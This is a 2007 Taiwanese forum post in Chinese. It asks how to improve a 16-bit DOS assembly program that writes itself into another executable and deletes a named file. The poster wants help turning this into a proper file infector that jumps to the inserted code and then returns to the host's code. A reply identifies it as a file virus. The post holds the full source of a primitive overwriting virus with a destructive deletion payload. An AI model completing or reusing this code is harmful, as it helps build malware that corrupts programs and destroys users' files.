作者loveflames (.....)
站内Programming
标题将某个exe写入另一个exe
时间Sat Feb 17 20:59:54 2007
执行这个程式
会将此程式整个写入file1并删除file3
如果执行经修改的file1会执行程式的工作(删除file3)
缺点是会盖掉file1被写入的部分无法正常执行原来工作
最理想的状况是
1.jmp 插入程式码位址
2.原程式码
3.插入程式码
4.返回原程式码
也就是让file1删除file3後继续执行自己的工作
可是目前不知道怎麽修正
也不知道怎麽返回原程式码
而且会遇到64k大小的瓶颈
请教修正的方法
-------------------------以下是程式码---------------------------------
include irvine16.inc
;.model small,stdcall 标头档的内容
;.stack 4096
;.386
.DATA
file1 byte '写入档案的路径跟档名',0
file2 byte '本程式的路径跟档名',0
file3 byte '删除档案的路径跟档名',0
buf byte 0bfffh dup (?)
size1 word ?
f1 dw ?
f2 dw ?
.CODE
main proc
MOV ax,@data
mov ds,ax
mov ax,3d02h
mov dx,offset file1
int 21h
mov f1,ax
mov ax,3d02h
mov dx,offset file2
int 21h
mov f2,ax
mov ah,3fh
mov bx,f2
mov cx,0bfffh
mov dx,offset buf
int 21h
mov size1,ax
mov ah,40h
mov bx,f1
mov dx,offset buf
mov cx,size1
int 21h
mov aH,3fh
mov bx,f2
mov cx,0bfffh
mov dx,offset buf
int 21h
mov size1,ax
mov ah,40h
mov bx,f1
mov dx,offset buf
mov cx,size1
int 21h
mov ah,41h
mov dx,offset file3
int 21h
mov ax,4c00h
int 21h
main endp
end
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 61.225.19.150
※ loveflames:转录至看板 ask 02/17 21:04
1F:推 james732:ptt有组合语言板喔...(板名:ASM) 218.172.80.243 02/18 01:02
2F:推 cooller:这个就是档案型病毒.. 找教学吧 140.112.5.10 02/18 09:59